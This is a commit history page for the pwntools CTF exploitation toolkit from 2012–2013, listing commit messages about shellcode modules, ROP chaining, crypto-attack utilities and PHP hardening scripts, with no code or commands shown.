Compare commits

..
685 Commits
Author SHA1 Message Date
Morten Brøns-Pedersen 4086fc749b handle attaching by name correctly 2013-04-27 22:02:04 +02:00
Morten Brøns-Pedersen 5c0dc126ee subprocess throws an exception on non-zero return code in some versions -- handle that 2013-04-27 14:06:17 +02:00
Morten Brøns-Pedersen eb6dfbbfbc dont filter out pids < 1000 2013-04-27 13:39:03 +02:00
Morten Brøns-Pedersen ea60b4ed00 use x-terminal-emulator if it exists 2013-04-27 13:11:51 +02:00
Morten Brøns-Pedersen 0a3d586db3 added procutils.py and debugging.py 2013-04-27 12:53:13 +02:00
Morten Brøns-Pedersen 50b7d642fc added function bash to util.py 2013-04-27 12:52:40 +02:00
Morten Brøns-Pedersen bf702d0bbb added example of attaching gdb 2013-04-27 12:51:16 +02:00
Morten Brøns-Pedersen db3d1490f5 fixed exception handling in handler 2013-04-27 12:49:23 +02:00
Morten Brøns-Pedersen cc3cae8c33 unfixed "fix" to interactive prompt 2013-04-27 12:41:04 +02:00
Morten Brøns-Pedersen d697a5c273 renamed iterextra -> iterutils 2013-04-26 22:26:47 +02:00
Mathias Svensson 35e7768d09 freebsd connect shellcode 2013-04-26 00:21:44 +02:00
Mathias Svensson 9059def31a fixed fork for amd64 2013-04-26 00:21:35 +02:00
Mathias Svensson f20e684174 amd64 connect shellcode 2013-04-25 21:55:05 +02:00
Mathias Svensson 316c423e99 fixed group changes 2013-04-25 21:53:59 +02:00
Morten Brøns-Pedersen c3a68a372e Merge branch 'master' of git.pwnies.dk:pwntools 2013-04-22 20:19:19 +02:00
Morten Brøns-Pedersen bec57496fe added itertools recipies plus some more 2013-04-22 20:19:16 +02:00
Mathias Svensson f90cd4c745 rop fixed 2013-04-22 00:30:22 +02:00
bsm 9f9da9fcc7 crack 2013-04-20 16:50:34 +02:00
bsm 36987a2c14 asjdisad 2013-04-20 16:38:45 +02:00
bsm b623b757fb stuff 2013-04-20 16:37:02 +02:00
bsm 2fd761d5ba search now iterable 2013-04-20 16:17:49 +02:00
bsm d2bf0f647f search in non_writable_sectiosn 2013-04-20 16:06:35 +02:00
Mathias Svensson d3f662b229 rop is weird 2013-04-20 15:59:10 +02:00
bsm 61fdd88ebe can now searhc for byteas 2013-04-20 15:57:12 +02:00
bsm cfa9c739b7 no clue 2013-04-20 11:29:35 +02:00
bsm d9c1039303 now it "works". need event handlers for printing hilbert curve subsets 2013-04-20 11:29:35 +02:00
Mathias Svensson f2da15c0c1 Merge branch 'master' of git.pwnies.dk:pwntools 2013-04-20 11:29:51 +02:00
Mathias Svensson a9cc48af10 bugfix in pushstr 2013-04-20 11:29:42 +02:00
Mathias Svensson ac887bfa97 If this does not work, then br0ns is an idiot 2013-04-18 21:17:57 +02:00
Kristoffer Søholm 21866a3f10 Merge branch 'master' of git.pwnies.dk:pwntools 2013-04-18 19:38:08 +02:00
Kristoffer Søholm ff89d0ea9a Added sendthen 2013-04-18 19:38:00 +02:00
Morten Brøns-Pedersen 5183954dcb forgot to remove debug printing 2013-04-14 20:10:38 +02:00
Morten Brøns-Pedersen b46a659b72 i accidentially the rop 2013-04-14 20:06:07 +02:00
Morten Brøns-Pedersen 3958a0e41b Merge branch 'master' of git.pwnies.dk:pwntools 2013-04-14 19:33:52 +02:00
Morten Brøns-Pedersen 7b73e9cb66 chain and call now returns self, and implemented __flat__ 2013-04-14 19:33:46 +02:00
Morten Brøns-Pedersen a6a5a17a55 handle ^D 2013-04-14 19:32:56 +02:00
Mathias Svensson 24c37578e0 Merge branch 'master' of git.pwnies.dk:pwntools 2013-04-13 18:19:47 +02:00
bsm d8e3b52f15 adding Visual class, this is supposed to replace binvis.py and visualedit.py over time 2013-04-02 09:44:00 +02:00
Morten Brøns-Pedersen bf280bfa2e listify/tuplify 2013-04-02 08:46:42 +02:00
Mathias Svensson f7635b5417 Removed deprecated pwn.i386 package 2013-03-31 18:10:55 +02:00
Morten Brøns-Pedersen d2e34faa2e Merge branch 'master' of git.pwnies.dk:pwntools 2013-03-28 15:10:24 +01:00
Morten Brøns-Pedersen 49ba2ffd31 support for raw ROP-gadgets; not thouroughly tested 2013-03-28 15:10:17 +01:00
bsm 4ef3cc3809 restore junk, coz we needz it 2013-03-25 14:19:59 +01:00
bsm 47c4be99e8 stuff 2013-03-25 14:03:55 +01:00
bsm a7c82b0693 uncommented local test case 2013-03-25 14:00:40 +01:00
bsm 016701edc5 added hilbert curve functionality 2013-03-25 14:00:14 +01:00
bsm 8457ebc664 trailing whitefail 2013-03-25 13:52:30 +01:00
bsm 0f8b000bca Merge branch 'master' of git.pwnies.dk:pwntools 2013-03-25 13:51:52 +01:00
bsm 02accc1e2d some stuff 2013-03-25 13:50:56 +01:00
bsm c5887961b2 cleanup in visualization 2013-03-25 13:50:24 +01:00
bsm ab5a0c7f2d added arch linux dependency 2013-03-25 13:49:56 +01:00
Morten Brøns-Pedersen daca875a48 Somebody^TM forgot to add a dependency for pwn.crypto 2013-03-25 13:25:05 +01:00
Mathias Svensson 601c4da719 I KNOW WHAT I'M DOING 2013-03-24 15:23:17 +01:00
Mathias Svensson 291971e59d Added python hardening 2013-03-24 15:22:49 +01:00
Mathias Svensson 0675478fec minor fix to sploitmeister sql 2013-03-24 15:12:37 +01:00
Martin Bjerregaard Jepsen 090a7d623d Merge branch 'master' of git.pwnies.dk:pwntools 2013-03-21 23:02:40 +01:00
Martin Bjerregaard Jepsen 7db923d240 MORE BETTER HARD STYLE PHP 2013-03-21 23:02:32 +01:00
Kristoffer Søholm 9506eaef42 Merge branch 'master' of git.pwnies.dk:pwntools 2013-03-21 22:28:08 +01:00
Kristoffer Søholm 81cc9ccb5d Added Wieners attack (sloooooow) and various utils 2013-03-21 22:27:57 +01:00
Morten Brøns-Pedersen 7dba9174ac preserve non-alphabetic chars in crack_vigenere, and auto-choose alphabet 2013-03-21 19:57:14 +01:00
Martin Bjerregaard Jepsen 914b9474e8 More better 2013-03-21 18:08:36 +01:00
Martin Bjerregaard Jepsen d9f556945d Factor by trying all algorithms 2013-03-21 12:52:38 +01:00
Martin Bjerregaard Jepsen c394130e50 Merge branch 'master' of git.pwnies.dk:pwntools 2013-03-21 12:38:36 +01:00
Martin Bjerregaard Jepsen 41e9a9c7a0 Apache config changes in harden-php 2013-03-21 12:38:29 +01:00
Martin Bjerregaard Jepsen a49dedcb23 Added pollards rho for factoring 2013-03-21 12:36:59 +01:00
Mathias Svensson 5bc2ade2d7 Added option to shellcraft for forced the pretty tty output 2013-03-20 13:00:31 +01:00
Mathias Svensson f84cb12da9 Fixed mov shellcode 2013-03-20 12:53:27 +01:00
Mathias Svensson 94a86523f1 go home ~. ur drunk 2013-03-18 23:40:11 +01:00
Mathias Svensson 8e929f9068 Merge branch 'master' of git.pwnies.dk:pwntools 2013-03-18 23:35:04 +01:00
Mathias Svensson 04da134dca Lots of shellcode and a small change to shellcraft.. Most of it should work, though sendfile/amd64/freebsd is untested 2013-03-18 23:34:51 +01:00
Morten Brøns-Pedersen dd42ca38df removed unnecessary newline 2013-03-18 20:20:43 +01:00
Morten Brøns-Pedersen 2852598bb7 fixed handling of IOError in interactive 2013-03-18 17:41:41 +01:00
Morten Brøns-Pedersen d89f4d13aa interactive now handles IOError 2013-03-18 17:15:31 +01:00
Morten Brøns-Pedersen f287a73a74 i accidentally process.py again 2013-03-18 17:13:57 +01:00
Morten Brøns-Pedersen 079489d94a Merge branch 'master' of git.pwnies.dk:pwntools 2013-03-18 17:13:26 +01:00
Morten Brøns-Pedersen c99df12611 i accidentally process.py 2013-03-18 17:13:20 +01:00
Mathias Svensson fd4cff6afa amd64 dup shellcode 2013-03-18 11:48:38 +01:00
Morten Brøns-Pedersen 20d45d87a6 Merge branch 'master' of git.pwnies.dk:pwntools 2013-03-17 22:06:40 +01:00
Morten Brøns-Pedersen d68457d2d7 better interactive sockets 2013-03-17 22:06:32 +01:00
Martin Bjerregaard Jepsen f99d2cafb9 Removed test files from php hardening 2013-03-17 20:55:13 +01:00
Martin Bjerregaard Jepsen 3ab0b3e540 Merged 2013-03-17 20:49:58 +01:00
Martin Bjerregaard Jepsen 7fbc3390a3 Completely overhauled harden-php script 2013-03-17 20:48:21 +01:00
Mathias Svensson 1274504d6b gitosis would not let me push until I either fixed the trailing whitespace in Martins code, wrote "I KNOW WHAT I'M DOING" or fixed the push hook. I chose the easiest path and removed the trailing whitespace. Hopefully it does not break stuff. 2013-03-17 16:26:48 +01:00
Mathias Svensson 1419b0f41a Merge branch 'master' of git.pwnies.dk:pwntools 2013-03-17 16:21:40 +01:00
Mathias Svensson cde05e3ccb VERY rough start on a zlib library 2013-03-17 16:21:35 +01:00
Mathias Svensson 19e5dce4d4 Some sploitmeister foo 2013-03-17 16:19:49 +01:00
Mathias Svensson d0d63ba92c Added flush to module 2013-03-17 16:19:28 +01:00
bsm 39bf8a507b Merge branch 'master' of git.pwnies.dk:pwntools
Conflicts:
	visualization/visualedit.py
2013-03-16 13:24:17 +01:00
bsm ed53c89084 no idea what changed now... 2013-03-16 13:20:40 +01:00
Morten Brøns-Pedersen 48cf454da2 Merge branch 'master' of git.pwnies.dk:pwntools 2013-03-15 23:49:52 +01:00
Morten Brøns-Pedersen af5b5d9e4a exchanged rol and ror -- someone just lost me 5 minutes of ctf time 2013-03-15 23:49:44 +01:00
Martin Bjerregaard Jepsen e1affb21f5 I KNOW WHAT I'M DOING 2013-03-15 17:33:42 +01:00
Martin Bjerregaard Jepsen 0a76d04892 Modified crypto solutions to use new crypto interface 2013-03-15 17:28:16 +01:00
Martin Bjerregaard Jepsen b933c2dc42 Started on web hardening tools for PHP 2013-03-15 17:26:37 +01:00
Mathias Svensson cf69738459 Fixed setresuid 2013-03-15 14:11:32 +01:00
Morten Brøns-Pedersen e1f7c3343f Merge branch 'master' of git.pwnies.dk:pwntools 2013-03-15 13:20:11 +01:00
Morten Brøns-Pedersen b9616686ab added shorthand 'chain' 2013-03-15 13:20:01 +01:00
bsm d7bf7d0d4b some shit 2013-03-14 15:23:32 +01:00
bsm f1e494bf0b lowered idle %CPU usage insanely much 2013-03-14 15:23:32 +01:00
bsm e9a7ad03af no idea what changed... probably doesn't matter
anyway :P
2013-03-13 20:31:23 +01:00
bsm 4a57d1cd3f introducing log table, added some default
values... and then some shit
2013-03-13 20:31:23 +01:00
bsm 9de0c11632 more stuff... I should make a map from pixel->byte and vv 2013-03-13 15:58:04 +01:00
bsm b1164728f9 mouse is now snapping to a grid, added initial command for saving selected region 2013-03-13 13:50:01 +01:00
Kristoffer Søholm ee3ca9ff2b Merge branch 'master' of git.pwnies.dk:pwntools 2013-03-13 13:31:11 +01:00
Kristoffer Søholm c521becb03 Improved unpacker 2013-03-13 13:31:05 +01:00
bsm ed8e34ca78 POC image data grabber. should be extended with a hex-view printing the
selected region as hex dump
2013-03-13 12:04:40 +01:00
bsm efad9ef591 fixed colorParser to provide real values when using -b
x:y:color argument
2013-03-13 12:04:14 +01:00
bsm 8332932eb1 trailing fail snail again 2013-03-13 10:58:20 +01:00
bsm badb091acd trailing whitespace fail 2013-03-13 10:57:45 +01:00
bsm 4c58dfce89 uh... executable bit, I think 2013-03-13 10:57:01 +01:00
bsm 4db96a8f78 visualization of binary data (various methods) 2013-03-13 10:46:47 +01:00
bsm 75929b2b72 new dependency 2013-03-13 10:44:13 +01:00
bsm c863eb30c7 not sure what the hell? 2013-03-13 10:02:36 +01:00
Mathias Svensson ccb80a8e31 Merge branch 'master' of git.pwnies.dk:pwntools 2013-03-12 01:09:45 +01:00
Mathias Svensson 287e988dd5 Added amd64_to_i386 and i386_to_amd64 shellcode 2013-03-12 01:09:37 +01:00
Martin Bjerregaard Jepsen 031a006fbd Merge branch 'master' of git.pwnies.dk:pwntools 2013-03-11 00:12:38 +01:00
Martin Bjerregaard Jepsen 6793441998 Crypto, plotting of index of coincidence is now working 2013-03-11 00:12:22 +01:00
Martin Bjerregaard Jepsen 4bcce06967 Crypto naming fixes and docstrings, also started improving cracking of vigenere 2013-03-10 23:54:30 +01:00
Martin Bjerregaard Jepsen cd03a4b7e8 Solutions to exercises from DTU cryptology 1 2013-03-10 22:42:18 +01:00
Martin Bjerregaard Jepsen ef0838ee70 Changes to crypto and start of docstrings 2013-03-10 22:41:41 +01:00
bsm ef6a23b277 docstrings and additional logic 2013-03-10 14:47:18 +01:00
Kristoffer Søholm 362708eb30 Reverted bad egcd function 2013-03-08 22:31:40 +01:00
Morten Brøns-Pedersen 23c9042795 Merge branch 'master' of git.pwnies.dk:pwntools 2013-03-08 20:28:31 +01:00
Morten Brøns-Pedersen fccaf4f7e2 shorthands for reading and writing files 2013-03-08 20:28:07 +01:00
Morten Brøns-Pedersen bc29a060e6 chinese remainder theorem 2013-03-08 20:27:14 +01:00
Mathias Svensson e92dc7a233 Added rol and ror 2013-03-08 19:46:37 +01:00
Mathias Svensson 81d7750d81 Some sploitmeister 2013-03-07 23:42:37 +01:00
Martin Bjerregaard Jepsen c68459e544 Fixes to pwn.crypto 2013-03-07 14:52:35 +01:00
Mathias Svensson d210d21a3a Lots of shellcode 2013-03-05 22:58:48 +01:00
Mathias Svensson 8808a5a8b8 Added open_file shellcode for freebsd and pushstr is not EVEN LESS half-baked 2013-03-05 22:12:06 +01:00
Mathias Svensson 8e84e6dd01 pushstr is now a little less half-baked 2013-03-05 21:43:15 +01:00
Morten Brøns-Pedersen df5a95a32f use log.warning instead of log.trace 2013-03-02 22:21:25 +01:00
Morten Brøns-Pedersen cf26bdcfea de_bruijn_find now accepts integers as well 2013-03-02 22:19:35 +01:00
Morten Brøns-Pedersen e6488355f0 Merge branch 'master' of git.pwnies.dk:pwntools 2013-03-01 23:11:40 +01:00
Morten Brøns-Pedersen 180bca4be1 fixed group 2013-03-01 23:11:35 +01:00
Mathias Svensson 47dc94e811 Merge branch 'master' of git.pwnies.dk:pwntools 2013-03-01 10:42:07 +01:00
Mathias Svensson 599e0ed3ea added pushstr shellcode and added open_file for amd64 2013-03-01 10:42:01 +01:00
bsm 48c5eb5a6c now ignoring tilde crap 2013-02-28 09:18:58 +01:00
bsm 80a2b819e6 proof of concept cloud client/service pair 2013-02-26 13:51:18 +01:00
Mathias Svensson e2835f473c Added a promiscious objdump+objcopy. They accept every architecture! 2013-02-25 12:37:46 +01:00
Mathias Svensson 701bbcba8d infloop + trap now assembles in mips+arm+thumb 2013-02-25 01:13:09 +01:00
Mathias Svensson 73b69d73e6 Oopsie, I made a bumbum :(:(:( 2013-02-24 22:50:46 +01:00
Mathias Svensson 024b29cf66 Indentation mistake 2013-02-24 21:20:22 +01:00
Mathias Svensson 767edf5d81 Added build script 2013-02-24 21:16:01 +01:00
Mathias Svensson 11074af02a Added all dem binutils 2013-02-24 21:11:31 +01:00
Mathias Svensson bf3bbb87c4 Fixed some error handling 2013-02-24 17:50:46 +01:00
Mathias Svensson affda3c2c1 Sockets and processes now work more alike 2013-02-24 17:34:52 +01:00
Mathias Svensson 6adb42e660 Fixed doit_aeropics.py 2013-02-24 17:32:36 +01:00
Mathias Svensson 56e5a98c04 Added a p-function, which is either p32 or p64 depending on context 2013-02-24 14:31:22 +01:00
Mathias Svensson e7c9e23587 Begun working on amd64 2013-02-24 14:04:10 +01:00
Morten Brøns-Pedersen 47a7db231f spn initial commit 2013-02-24 01:59:44 +01:00
Mathias Svensson fa9e204136 Added a clean_sock function to basesock, and calls this by default before an interactive() 2013-02-23 22:46:30 +01:00
Mathias Svensson 6ba05ac321 fixed lulz 2013-02-22 11:32:57 +01:00
Morten Brøns-Pedersen ecc83e60cc lulz 2013-02-22 01:37:06 +01:00
Morten Brøns-Pedersen 2bbfcf21b7 Merge branch 'master' of git.pwnies.dk:pwntools 2013-02-21 23:27:27 +01:00
Morten Brøns-Pedersen 271f9628c6 initial ciic, will try and implement automatic signature generation using ctypeslib over the weekend 2013-02-21 23:26:25 +01:00
Kristoffer Søholm 7a14362430 Merge branch 'master' of git.pwnies.dk:pwntools 2013-02-21 22:41:13 +01:00
Kristoffer Søholm 54aa9ad78f Major refactoring of crypto lib 2013-02-21 22:41:02 +01:00
Morten Brøns-Pedersen 295e009d86 Merge branch 'master' of git.pwnies.dk:pwntools 2013-02-21 21:27:28 +01:00
thorlund a27fab430b Merge branch 'master' of git.pwnies.dk:pwntools 2013-02-21 22:17:03 +01:00
thorlund bc072649ad back to bashrc from zshrc 2013-02-21 22:16:58 +01:00
Morten Brøns-Pedersen 25a02047ab better sudo check 2013-02-21 21:27:19 +01:00
Morten Brøns-Pedersen c002b93f7a Merge branch 'master' of git.pwnies.dk:pwntools 2013-02-21 21:06:53 +01:00
Morten Brøns-Pedersen 3e52e47c27 load ciic 2013-02-21 21:06:49 +01:00
Martin Bjerregaard Jepsen 56972aa6d3 Merge branch 'master' of git.pwnies.dk:pwntools 2013-02-21 20:11:50 +01:00
Martin Bjerregaard Jepsen 971989cd0b Added crypto tools to pwnlib 2013-02-21 20:11:38 +01:00
Mathias Svensson 0c89abb73c Added a "later" function for blocks and added __repr__ to shellcode 2013-02-20 09:23:28 +01:00
Mathias Svensson 3c91ffc12c I forgot to add this 2013-02-20 09:17:37 +01:00
Mathias Svensson fb2349b24a Renamed packer to func and made removed duplicate code 2013-02-20 08:46:11 +01:00
Mathias Svensson 58f3c6447f Added pack_size function, which returns the "size" of a packing function 2013-02-20 08:45:43 +01:00
Mathias Svensson e122b3acbd Early blocks.py prototype 2013-02-20 00:17:12 +01:00
Mathias Svensson a4418c790d Made flat better by examining objects for at __flat__ method instead of hardcoding types 2013-02-19 23:15:00 +01:00
Mathias Svensson 9d45bf7a24 concat_all now also flattens tuples (is this a good idea?) 2013-02-19 23:13:40 +01:00
Mathias Svensson 513d39ce0b Renamed readfile to cat, implemented it using a read+write loop too, implemented ls 2013-02-19 21:35:47 +01:00
Mathias Svensson 3ba87dcf13 Added partition function 2013-02-19 20:01:12 +01:00
Mathias Svensson abc00bdcd6 Added feature to stop spinner with the current message 2013-02-19 20:00:33 +01:00
Mathias Svensson 02990c19fe Moved import statement 2013-02-19 19:58:28 +01:00
thorlund ddb19f4718 forgot and fixed trailing whitespaces 2013-02-18 12:00:55 +01:00
thorlund f82a9968d9 Fixed install.sh to other package managers then apt-get 2013-02-18 11:57:31 +01:00
[email protected] 570cd37b42 Merge branch 'master' of ssh://hades.olympus.freaken.dk:2222/pwntools 2013-02-03 16:43:06 +01:00
[email protected] 25b48bc0a8 Added crypto module to pwn 2013-02-03 16:42:55 +01:00
Alex a8465ae8c4 fixed bug in install.sh 2013-02-01 22:49:43 +01:00
Morten Brøns-Pedersen a81ef0120f Merge branch 'master' of git.pwnies.dk:pwntools 2013-01-10 20:54:26 +01:00
Morten Brøns-Pedersen e689a7fbe3 linux 32 bit near finished -- missing got checking and plt comes-from checking -- hoho, I'm so naïve 2013-01-10 20:54:12 +01:00
bsm 81ec16fcc8 more completeness 2013-01-10 20:37:12 +01:00
Morten Brøns-Pedersen 7d39c11417 Merge branch 'master' of git.pwnies.dk:pwntools 2013-01-10 01:32:47 +01:00
Morten Brøns-Pedersen edb7067de2 dirty hack to allow signal handlers to return -- will fix soon 2013-01-10 01:32:38 +01:00
Mathias Svensson 7a26456965 Merge branch 'master' of git.pwnies.dk:pwntools 2013-01-09 22:51:53 +01:00
Mathias Svensson dddd563f4a Proof of concept for a new ld-wrapper 2013-01-09 22:51:48 +01:00
Morten Brøns-Pedersen 22f241faaa fixed nop_pad 2013-01-09 22:05:12 +01:00
Morten Brøns-Pedersen 33d7b2398b second proof of concept: generate whitelist from shared libraries as well and adjust addresses at runtime 2013-01-09 21:29:24 +01:00
Morten Brøns-Pedersen fcf1321b25 moved code to proof-of-concept-1 folder 2013-01-09 21:28:16 +01:00
bsm e2eb72941b added creation of config table. Fixed sorting column of getAttacks 2013-01-08 09:40:05 +00:00
bsm 66772944bc meh 2013-01-08 09:31:59 +00:00
bsm 2cd2c5ee75 more stuff to db api... apparently also the daemon, for luls 2013-01-08 08:44:46 +00:00
bsm fd4f191f7c database api template, running sqlite for now 2013-01-08 07:53:46 +00:00
bsm cb5caf08a8 now without trailing whitespaces D: 2013-01-07 09:20:39 +00:00
bsm 39b6b51fdd more changes, now actively looking at exploits and checking if they're active or not. No actual execution yet, but basic
framework is there.
2013-01-07 09:18:28 +00:00
bsm f47d96a074 more basic stuff to sploitmeister 2013-01-07 07:29:58 +01:00
bsm d6c748b60a initiating basic structure for the Sploitmeister module 2013-01-06 18:10:01 +01:00
Morten Brøns-Pedersen 647ff6e262 added flush() to pwn.rop 2013-01-06 05:59:52 +01:00
Morten Brøns-Pedersen 80f8908233 error in addr->ascii code 2013-01-06 05:55:19 +01:00
Morten Brøns-Pedersen 5a1942f5c1 error message 2013-01-06 05:42:08 +01:00
Morten Brøns-Pedersen 0656c20454 added signal handler flag constants 2013-01-06 04:52:41 +01:00
Morten Brøns-Pedersen c4543004ea added heuristic for finding safe returns 2013-01-06 04:51:14 +01:00
Morten Brøns-Pedersen 51ee12a392 First taste of return guard -- not fully functional yet
Functions that are used as callbacks to functions in dynamically loaded libraries will break things -- main is such a function.
2013-01-05 23:19:10 +01:00
alvoha 13f83d8cbf Add PWNTools to $PATH in $SUDO_USER/.bashrc instead of /root/.bashrc 2013-01-03 20:23:25 +01:00
Mathias Svensson 19c4935b8b Some more cleanup in memoize 2013-01-03 12:08:49 +01:00
Mathias Svensson 2507637324 Temporary files should be deleted 2013-01-03 12:08:30 +01:00
Mathias Svensson 0075c955ef Removed replicated logic I introduced earlier 2013-01-03 11:46:47 +01:00
Morten Brøns-Pedersen 3bc0f1d171 only write to mem cache initially, and make sure failures in file backed memoization never leaks to the brogrammer 2013-01-03 09:09:29 +01:00
Mathias Svensson 98f7c0e742 Remove ALL the trailing whitespace 2013-01-02 23:30:48 +01:00
Mathias Svensson 706af735b2 Re-added the ability to use @memoize without arguments 2013-01-02 23:10:15 +01:00
Mathias Svensson 5aaada23f5 Did some cleaning up in mov.py 2013-01-02 23:00:10 +01:00
Mathias Svensson 1f03b7e23f Fixed merge in memoize 2013-01-02 04:36:42 +01:00
Mathias Svensson 0cdb7de2a2 Added mov shellcode. It might work too! 2013-01-02 04:30:26 +01:00
Mathias Svensson 6f315d2e1d The return value of get_avoid and get_only have been sorted to make them deterministic 2013-01-01 23:14:19 +01:00
Morten Brøns-Pedersen 319417efa3 updated install script 2013-01-01 20:33:52 +01:00
Morten Brøns-Pedersen 977f4f6cb0 support both disk and memory memoization 2013-01-01 19:40:14 +01:00
Mathias Svensson 3a5ffd79b5 xor_pair can now return None if it is not possible given the current constraints 2013-01-01 19:07:28 +01:00
Mathias Svensson 62649b4d40 Fixed a bug in kwargs_remover 2013-01-01 19:07:07 +01:00
Mathias Svensson e8cb3ab281 Added a function for returning all combinations of a list 2012-12-31 15:16:31 +01:00
Mathias Svensson 4841f10dc2 Added better avoid/only functionality 2012-12-30 16:35:53 +01:00
Mathias Svensson b01e94bd14 You should never code while drunk 2012-12-29 23:35:38 +01:00
Morten Brøns-Pedersen a16263b07f always default to 'plain' and use 'auto' on failure if in auto-mode 2012-12-29 23:16:48 +01:00
Mathias Svensson cd475c3987 Generalized unordlist 2012-12-29 03:50:07 +01:00
Morten Brøns-Pedersen 5fb5ec5daf dont cast out_fd to int (we need to be able to specify regs and consts too) 2012-12-28 15:17:06 +01:00
Morten Brøns-Pedersen d583174067 added unordlist 2012-12-28 11:17:31 +01:00
Morten Brøns-Pedersen 0f29f86e04 ordlist, wuh 2012-12-28 02:25:09 +01:00
Morten Brøns-Pedersen 242f3371be fixed critical bug in rop.py 2012-12-28 00:05:00 +01:00
Morten Brøns-Pedersen c7e6401109 Merge branch 'master' of git.pwnies.dk:pwntools 2012-12-27 14:13:13 +01:00
Morten Brøns-Pedersen de7ab7228d removed old rop.py 2012-12-27 14:13:05 +01:00
Mathias Svensson 41c9743244 Merge branch 'master' of git.pwnies.dk:pwntools 2012-12-27 14:09:03 +01:00
Morten Brøns-Pedersen 5cd5c56556 added rudimentary install script -- plz fix kthxbai 2012-12-27 14:08:05 +01:00
Morten Brøns-Pedersen d022968bf6 docstrings 2012-12-27 13:40:35 +01:00
Morten Brøns-Pedersen 0002965661 added big endian arbitrary precision str<->int conversion 2012-12-27 13:37:33 +01:00
Morten Brøns-Pedersen 223530f439 removed old cyclic.py 2012-12-27 13:27:16 +01:00
Morten Brøns-Pedersen f3c4631621 rewrote cyclic 2012-12-27 11:58:15 +01:00
Morten Brøns-Pedersen 418ef6b0d0 Merge branch 'master' of git.pwnies.dk:pwntools 2012-12-27 11:07:36 +01:00
bsm 1f09c1d05a Merge branch 'master' of git-proxy:pwntools
Conflicts:
	rop/rop.py
2012-12-27 10:00:14 +01:00
Mathias Svensson 7fb73ff459 I'm tired and should be sleeping 2012-12-27 03:59:29 +01:00
Mathias Svensson 746e3091d2 Better formatting in setresuid.py 2012-12-27 03:57:19 +01:00
Mathias Svensson 1abdd24dd2 Fixed a but in setresuid.py 2012-12-27 03:56:34 +01:00
Mathias Svensson e26640d88c Optimized setresuid 2012-12-27 03:49:42 +01:00
Mathias Svensson 7d8b122759 findtag and findtagsh now supports freebsd 2012-12-27 02:55:12 +01:00
Mathias Svensson bcc88e5caa Fixed docstring for findpeerremote.py 2012-12-27 02:27:47 +01:00
Mathias Svensson bb13444494 findpeer now works with freebsd 2012-12-27 02:20:50 +01:00
Mathias Svensson cfdbc2388d connect shellcode now works on freebsd 2012-12-27 02:07:16 +01:00
Mathias Svensson 85ba493934 Fixed sockaddr for listen 2012-12-27 01:57:54 +01:00
Mathias Svensson 9b13eec8de Acceptloop now works for both freebsd and linux 2012-12-26 20:43:54 +01:00
Mathias Svensson 6349143599 Shaved a byte in listen for freebsd 2012-12-26 20:22:52 +01:00
Mathias Svensson 6eacfb88d7 Added exit shellcode 2012-12-26 20:17:37 +01:00
Mathias Svensson d383678118 Added forkbomb 2012-12-26 20:06:05 +01:00
Morten Brøns-Pedersen 719c11f5f1 wrongly reported all shellcodes as number of shellcodes no matter the context 2012-12-26 20:05:40 +01:00
Mathias Svensson 6e7d0d7d6b bindshell + listen now works with freebsd 2012-12-26 17:57:19 +01:00
Morten Brøns-Pedersen 81ba5388f1 corrected help message for --context 2012-12-26 17:46:34 +01:00
Mathias Svensson 891b84c7ea dup and dupsh now supports freebsd 2012-12-26 17:33:52 +01:00
Mathias Svensson c54fa693ae sh now supports freebsd 2012-12-26 16:57:10 +01:00
Mathias Svensson 74cbdd994a Moved trap.py and infloop.py 2012-12-26 15:49:42 +01:00
Mathias Svensson 6443164acb First freebsd shellcode added 2012-12-26 15:46:26 +01:00
Mathias Svensson 03d8ad3327 Captain uglyness saves the day! 2012-12-26 02:58:50 +01:00
Mathias Svensson a45b240652 Updated shellcraft README 2012-12-26 02:54:47 +01:00
Mathias Svensson 5faa5f6a52 Everybody should know that int3 is \xcc 2012-12-26 02:43:07 +01:00
Mathias Svensson 5cb5e62a15 Added a bug message for findpeerremote 2012-12-26 02:38:40 +01:00
Mathias Svensson f1f2787e75 Remember to pass along the clear_socks argument in findtagsh 2012-12-26 02:37:37 +01:00
Mathias Svensson 8ff3bbecd2 readfile, stackhunter and stackhunter_helper now accepts string arguments 2012-12-26 02:34:10 +01:00
Morten Brøns-Pedersen 1a2b8ccb31 new version of shellcraft, yay 2012-12-26 02:11:53 +01:00
Morten Brøns-Pedersen 796be97c46 preserve blob or text property in containers 2012-12-26 00:52:40 +01:00
bsm 786df70830 encased symbols and address classes into load class to limit the amount of things loaded into
the namespace
2012-12-24 09:15:53 +01:00
bsm 26dcd70e70 fixed issue in rop call where when given 1
symbol in argv-argument it interprets each char in
the symbol as arguments.
2012-12-24 08:52:47 +01:00
Morten Brøns-Pedersen 4be4beeae5 Merge branch 'master' of git.pwnies.dk:pwntools into shellcraft 2012-12-23 20:49:41 +01:00
Morten Brøns-Pedersen bbc3585ae5 emptied README -- it was wrong 2012-12-23 03:38:24 +01:00
Morten Brøns-Pedersen 28bb215a50 moved excepthook and shellcode_helper to internal 2012-12-23 03:29:28 +01:00
Morten Brøns-Pedersen ee7176b457 react to EOFError as well 2012-12-23 02:59:50 +01:00
Morten Brøns-Pedersen 1fac594be0 renamed module shellcodes -> shellcode 2012-12-23 02:50:50 +01:00
Morten Brøns-Pedersen 974a617d76 react to both C^c and C^d in interactive mode 2012-12-22 18:35:39 +01:00
Morten Brøns-Pedersen 8bda9a8d6e modeule re has been removed from pwn, so import it here 2012-12-22 18:33:50 +01:00
Morten Brøns-Pedersen 1ce805bc7f Merge branch 'asm-devel'
Conflicts:
	lib/aeropiclib/gadgets.py
	pwn/__init__.py
	pwn/test/bin300/doit_aeropics.py
	rop/rop.py
2012-12-22 18:29:44 +01:00
Morten Brøns-Pedersen c07432cd3f updatede ROP example 2012-12-22 18:16:50 +01:00
Morten Brøns-Pedersen 3f7f9595d8 Merge branch 'master' into rop-dev
Conflicts:
	lib/aeropiclib/gadgets.py
	pwn/__init__.py
	rop/rop.py
2012-12-22 18:16:19 +01:00
Morten Brøns-Pedersen a41291f2ac new rop is finishedish 2012-12-22 18:11:05 +01:00
Morten Brøns-Pedersen 2f31fa5baa knuth-morris-pratt -- not sure if right file, move if you want to 2012-12-22 18:10:27 +01:00
Morten Brøns-Pedersen b177b0af31 doh, forgot 64bit calling convention 2012-12-22 00:54:58 +01:00
Morten Brøns-Pedersen f6008f4a86 basic rop-chaining works 2012-12-21 23:35:02 +01:00
Mathias Svensson 40232f6361 Merge branch 'master' of hades:pwntools into asm-devel 2012-12-21 15:14:05 +01:00
bsm 521a31d228 minor changes, counting removal of whitespaces
(iDolf!!!!)
2012-12-21 08:54:19 +01:00
bsm 1091dde732 added cyclic to bin 2012-12-21 08:53:48 +01:00
